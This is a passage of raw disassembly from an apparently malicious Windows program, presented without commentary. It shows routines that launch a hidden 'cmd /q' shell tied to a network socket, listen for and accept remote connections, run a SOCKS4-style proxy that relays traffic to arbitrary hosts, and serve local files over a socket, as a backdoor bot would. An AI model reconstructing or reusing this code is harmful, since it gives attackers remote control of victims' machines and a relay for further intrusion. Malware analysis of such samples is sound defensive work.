		jmp	short loc_411998
; ---------------------------------------------------------------------------

loc_41196A:				; CODE XREF: sub_4118DF+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_4119D8
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4119CD
		push	offset unk_44C4F8
		call	sub_415C77

loc_411998:				; CODE XREF: sub_4118DF+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4119A4
		push	[ebp+var_4]
		call	edi	; CloseHandle

loc_4119A4:				; CODE XREF: sub_4118DF+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4119AF
		push	[ebp+var_8]
		call	edi	; CloseHandle

loc_4119AF:				; CODE XREF: sub_4118DF+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4119B8
		push	eax
		call	edi	; CloseHandle

loc_4119B8:				; CODE XREF: sub_4118DF+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4119C2
		push	eax
		call	edi	; CloseHandle

loc_4119C2:				; CODE XREF: sub_4118DF+DEj
		push	esi		; Memory
		call	_free
		pop	ecx

loc_4119C9:				; CODE XREF: sub_4118DF+1Dj
		xor	eax, eax
		jmp	short loc_4119D3
; ---------------------------------------------------------------------------

loc_4119CD:				; CODE XREF: sub_4118DF+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_4119D3:				; CODE XREF: sub_4118DF+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4118DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119D8	proc near		; CODE XREF: sub_4118DF+94p

Dst		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], esi
		call	_memset
		push	10h		; Size
		lea	eax, [ebp+var_14]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+Dst], edi
		mov	edi, ds:dword_4F6400
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_4F63FC	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	ds:dword_4F6374	; CreateProcessA
		test	eax, eax
		jz	short loc_411A94
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_457130[eax], ecx
		call	ds:dword_4F6370	; CloseHandle
		jmp	short loc_411AAA
; ---------------------------------------------------------------------------

loc_411A94:				; CODE XREF: sub_4119D8+9Aj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44C528 ; "-"
		call	sub_415CEB
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_411AAA:				; CODE XREF: sub_4119D8+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AB1	proc near		; DATA XREF: sub_41178E+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, ds:dword_4F63F0
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_411ADA:				; CODE XREF: sub_411AB1+8Fj
		call	ebx	; ReadFile
		test	eax, eax
		jz	short loc_411B42
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411B15

loc_411AEB:				; CODE XREF: sub_411AB1+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411B05
		cmp	dl, 0Dh
		jz	short loc_411B05
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_411B05:				; CODE XREF: sub_411AB1+44j
					; sub_411AB1+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411AEB

loc_411B15:				; CODE XREF: sub_411AB1+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4E4270	; send
		test	eax, eax
		jle	short loc_411B42
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411ADA
; ---------------------------------------------------------------------------

loc_411B42:				; CODE XREF: sub_411AB1+2Dj
					; sub_411AB1+79j
		mov	esi, ds:dword_4F6394
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_411B5E
		call	esi	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44C560 ; "-"
		call	sub_415CEB
		pop	ecx
		pop	ecx

loc_411B5E:				; CODE XREF: sub_411AB1+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B63	proc near		; DATA XREF: sub_41178E+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_411B7C:				; CODE XREF: sub_411B63+39j
					; sub_411B63+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4E4238	; recv
		test	eax, eax
		jle	loc_411C81
		cmp	[ebp+var_10], ebx
		jbe	short loc_411B9E
		dec	[ebp+var_10]
		jmp	short loc_411B7C
; ---------------------------------------------------------------------------

loc_411B9E:				; CODE XREF: sub_411B63+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411C61
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411C0E
		cmp	al, 7Fh
		jz	short loc_411C0E
		cmp	al, 3
		jnz	short loc_411BC9
		push	ebx
		push	ebx
		call	ds:dword_4F6434	; GenerateConsoleCtrlEvent
		jmp	short loc_411C35
; ---------------------------------------------------------------------------

loc_411BC9:				; CODE XREF: sub_411B63+5Aj
		cmp	al, 15h
		jnz	short loc_411BEB
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411C21
; ---------------------------------------------------------------------------

loc_411BEB:				; CODE XREF: sub_411B63+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411C22
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411C21
; ---------------------------------------------------------------------------

loc_411C0E:				; CODE XREF: sub_411B63+52j
					; sub_411B63+56j
		cmp	esi, ebx
		jbe	short loc_411C38
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411C21:				; CODE XREF: sub_411B63+86j
					; sub_411B63+A9j
		pop	ecx

loc_411C22:				; CODE XREF: sub_411B63+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4E4270	; send
		test	eax, eax
		jle	short loc_411C81

loc_411C35:				; CODE XREF: sub_411B63+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_411C38:				; CODE XREF: sub_411B63+ADj
		cmp	al, 0Dh
		jnz	loc_411B7C
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	ds:dword_4F63E8	; WriteFile
		test	eax, eax
		jz	short loc_411C81
		xor	esi, esi
		jmp	loc_411B7C
; ---------------------------------------------------------------------------

loc_411C61:				; CODE XREF: sub_411B63+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411C72
		mov	[ebp+var_C], 1
		jmp	loc_411B7C
; ---------------------------------------------------------------------------

loc_411C72:				; CODE XREF: sub_411B63+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411B7C
; ---------------------------------------------------------------------------

loc_411C81:				; CODE XREF: sub_411B63+2Bj
					; sub_411B63+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411B63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C86	proc near		; DATA XREF: sub_401CC7+2C10o

Source		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
Str		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_40]
		call	dword_4E4220	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4E42A0	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_457134[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4E424C	; bind
		test	eax, eax
		jnz	loc_411E28
		push	0Ah
		push	edi
		call	dword_4E4248	; listen
		test	eax, eax
		jnz	loc_411E28
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AFA9
		pop	ecx
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44C59C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_411D61
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_34]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_D4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_411D61:				; CODE XREF: sub_411C86+B9j
					; sub_411C86+172j ...
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4E42B4	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44C5C4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	19h		; int
		push	eax		; Source
		call	sub_40B78E
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_45712C[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_411E8B
		push	esi
		push	esi
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_45713C[ecx], eax
		jz	short loc_411E08

loc_411DF5:				; CODE XREF: sub_411C86+180j
		cmp	[ebp+var_28], esi
		jnz	loc_411D61
		push	5
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_411DF5
; ---------------------------------------------------------------------------

loc_411E08:				; CODE XREF: sub_411C86+16Dj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44C608 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_411D61
; ---------------------------------------------------------------------------

loc_411E28:				; CODE XREF: sub_411C86+7Bj
					; sub_411C86+8Cj
		push	edi
		call	dword_4E42B8	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+Source]
		push	offset asc_44C644 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_411E6B
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_34]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_D4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_411E6B:				; CODE XREF: sub_411C86+1C3j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		push	[ebp+var_3C]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_411C86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E8B	proc near		; DATA XREF: sub_411C86+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
Dst		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
Str2		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_457134[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4E4208	; select
		test	eax, eax
		jnz	short loc_411F0C
		push	dword ptr [esi]
		call	dword_4E42B8	; closesocket
		push	[ebp+arg_0]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_411F0C:				; CODE XREF: sub_411E8B+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4E4238	; recv
		test	eax, eax
		jg	short loc_411F3D
		push	dword ptr [esi]
		call	dword_4E42B8	; closesocket
		push	[ebp+arg_0]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_411F3D:				; CODE XREF: sub_411E8B+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_412137
		cmp	[ebp+var_4CF], 1
		jnz	loc_412137
		cmp	[ebp+Str2], bl
		jz	short loc_411FD3
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		lea	eax, [ebp+Dst]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411FD3
		lea	eax, [ebp+Str2]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset dword_44C678 ; Format
		call	sub_415CEB
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E4270	; send
		push	dword ptr [esi]
		call	dword_4E42B8	; closesocket
		push	[ebp+arg_0]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_411FD3:				; CODE XREF: sub_411E8B+CFj
					; sub_411E8B+E5j
		push	10h		; Size
		lea	eax, [ebp+var_18]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4E42A0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_41206B
		call	dword_4E41B4	; WSAGetLastError
		push	eax		; Args
		push	offset dword_44C6B8 ; Format
		call	sub_415CEB
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	_memset
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E4270	; send
		push	dword ptr [esi]
		call	dword_4E42B8	; closesocket
		push	[ebp+arg_0]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_41206B:				; CODE XREF: sub_411E8B+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4E41C8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4120DA
		call	dword_4E41B4	; WSAGetLastError
		push	eax		; Args
		push	offset dword_44C6F8 ; Format
		call	sub_415CEB
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	_memset
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E4270	; send
		push	dword ptr [esi]
		call	dword_4E42B8	; closesocket
		push	[ebp+arg_0]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_4120DA:				; CODE XREF: sub_411E8B+1F0j
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E4270	; send
		push	dword ptr [esi]
		push	edi
		call	sub_41214F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4E42B8	; closesocket
		push	dword ptr [esi]
		call	dword_4E42B8	; closesocket
		push	[ebp+arg_0]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_412137:				; CODE XREF: sub_411E8B+B9j
					; sub_411E8B+C6j
		push	dword ptr [esi]
		call	dword_4E42B8	; closesocket
		push	[ebp+arg_0]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread
sub_411E8B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41214F	proc near		; CODE XREF: sub_411E8B+286p

Dst		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_412165:				; CODE XREF: sub_41214F+C5j
					; sub_41214F+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]

loc_41217D:				; CODE XREF: sub_41214F+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_41218D
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_41217D

loc_41218D:				; CODE XREF: sub_41214F+33j
		cmp	ecx, 1
		jnz	short loc_4121A2
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2

loc_4121A2:				; CODE XREF: sub_41214F+41j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4E4208	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4E410C	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_412202
		push	edi
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	ebx
		call	dword_4E4238	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41224A
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4270	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41224A

loc_412202:				; CODE XREF: sub_41214F+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E410C	; __WSAFDIsSet
		test	eax, eax
		jz	loc_412165
		push	edi
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4238	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41224A
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_4E4270	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_412165

loc_41224A:				; CODE XREF: sub_41214F+9Aj
					; sub_41214F+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41214F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41224F	proc near		; CODE XREF: sub_41224F:loc_4126C0p
					; DATA XREF: sub_401CC7+20CDo ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= dword	ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
DstBuf		= byte ptr -574h
var_374		= dword	ptr -374h
Filename	= byte ptr -370h
Str		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
Dest		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
Dst		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
File		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		xor	ebx, ebx
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4E42A0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4122EF
		push	190h
		call	ds:dword_4F6380	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_4122CF
		push	ebx		; int
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]	; int
		push	eax		; int
		lea	eax, [ebp+var_15C]
		push	eax		; Str
		push	[ebp+var_374]	; int
		call	sub_409D6C
		add	esp, 14h

loc_4122CF:				; CODE XREF: sub_41224F+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415C77
		push	[ebp+var_168]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_4122EF:				; CODE XREF: sub_41224F+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4E4200	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4E4200	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h		; Size
		imul	eax, 234h
		push	ebx		; Val
		mov	dword_457134[eax], esi
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_160]
		call	dword_4E4220	; htons
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4E424C	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412379
		push	1388h
		call	ds:dword_4F6380	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_4126C0
; ---------------------------------------------------------------------------

loc_412379:				; CODE XREF: sub_41224F+10Fj
		lea	eax, [ebp+Filename]
		push	offset aRb_0	; "rb"
		push	eax		; Filename
		call	_fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+File], eax
		jnz	short loc_4123DF
		push	190h
		call	ds:dword_4F6380	; Sleep
		push	ebx		; int
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]	; int
		push	eax		; int
		lea	eax, [ebp+var_15C]
		push	eax		; Str
		push	[ebp+var_374]	; int
		call	sub_409D6C
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415C77
		push	[ebp+var_168]
		call	sub_40BAAA
		add	esp, 1Ch
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_4123DF:				; CODE XREF: sub_41224F+142j
					; sub_41224F+42Bj
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_412683
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi		; Size
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4E4208	; select
		test	eax, eax
		jle	loc_412677
		mov	al, byte_4E6FCC
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
